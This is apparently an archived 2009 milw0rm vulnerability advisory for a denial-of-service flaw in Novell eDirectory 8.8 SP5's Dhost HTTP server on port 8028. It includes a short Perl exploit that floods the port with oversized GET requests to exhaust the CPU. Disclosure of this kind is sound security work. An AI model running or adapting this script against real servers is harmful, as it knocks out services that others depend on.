41 lines
No EOL
785 B
Text
41 lines
No EOL
785 B
Text
Affected Software:
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Novell eDirectory 8.8 SP5
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Vulnerability Description:
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Novell eDirectory 8.8 SP5 is vulnerable to a denial of service attack.
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If a remote attacker sends Unicode strings with Http Request to "8028 port"
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("8028" is the default port of Novell eDirectory Dhost Http Server),
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the attacker can cause the system to consume %100 of the CPU resources.
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Discovered by:
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karak0rsan, Hellcode Research
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Original Advisory:
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http://tcc.hellcode.net/advisories/hellcode-adv003.txt
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Exploit:
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- snip-
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....
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$data = "?" x 500000;
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for($i= 0; $i < 1000; $i++)
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{
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$sock= new IO::Socket::INET( PeerAddr => "localhost",
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PeerPort => 8028,
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Proto => 'tcp',
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Type => SOCK_STREAM,
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);
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print $sock "GET /$data HTTP/1.0\r\n\r\n";
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close($sock);
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}
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...
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- snip -
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# milw0rm.com [2009-09-09] |